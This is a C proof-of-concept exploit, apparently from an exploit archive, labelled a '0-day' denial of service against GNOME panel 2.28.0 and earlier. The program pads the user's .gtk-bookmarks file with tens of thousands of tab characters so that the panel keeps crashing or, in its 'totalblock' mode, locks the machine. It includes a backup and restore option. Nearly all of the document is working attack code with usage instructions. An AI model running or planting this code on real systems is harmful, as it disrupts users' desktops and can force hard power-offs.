# Tested on: ubuntu 9.10
# CVE :
# Code :
/*********************************************************************************
* Gnome panel <= 2.28.0 denial of service poc 0-day *
* by Pietro Oliva <pietroliva@gmail.com>
* http://olivapietro.altervista.org
* *
* After executing this poc a backup file will be created *
* You can restore it by typing ./paneldos restore *
* Using option restart gnome-panel will restart continuously *
* Using option totalblock you will need to remove the battery *
* After execution click application in the panel, then go to places *
* and wait some seconds... *
* https://bugs.launchpad.net/ubuntu/+source/gnome-panel/+bug/503868 *
**********************************************************************************/
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
FILE *f;
unsigned long i;
printf("%s","Gnome panel <= 2.28.0 denial of service by Pietro Oliva poc 0-day\n\n");
if(!(f=fopen(".gtk-bookmarks","r")))
{
printf("%s","file not found! make sure you are running\nthis file from your home directory\n");
return 1;
}
fclose(f);
if((argv[1]==NULL))
{
printf("%s","please specify an argument!\n");
printf("%s","usage: ./paneldos <option>\npossible options are:\trestart\t\ttotalblock\trestore\n");
return 1;
}
if(((strcmp(argv[1],"restart"))==0))
i=9999;
else if((strcmp(argv[1],"totalblock"))==0)
i=99999;
else if((strcmp(argv[1],"restore"))==0)
{
if(!(f=fopen(".backup","r")))
{
printf("%s","no backup found!\nmake sure you are running\nthis file from your home directory\n");
return 1;
}
fclose(f);
system("cp .backup .gtk-bookmarks");
printf("%s","succesfully restored!\n");
return 0;
}
else
{
printf("%s","usage: ./paneldos <option>\npossible options are:\trestart\t\ttotalblock\trestore\n");
return 1;
}
if(!(f=fopen(".backup","r")))
{
printf("%s","creating backup...\n");
system("cp .gtk-bookmarks .backup");
}
else
fclose(f);
f=fopen(".gtk-bookmarks","a");
printf("%s","starting...\n");
fwrite("file:///home ",1,13,f);
while(i>0)
{
fwrite("\ta",1,2,f);
i--;
}
fclose(f);
printf("%s","done! now click applications in panel,\nslide to places, wait and see the result! :D\n");
return 0;
}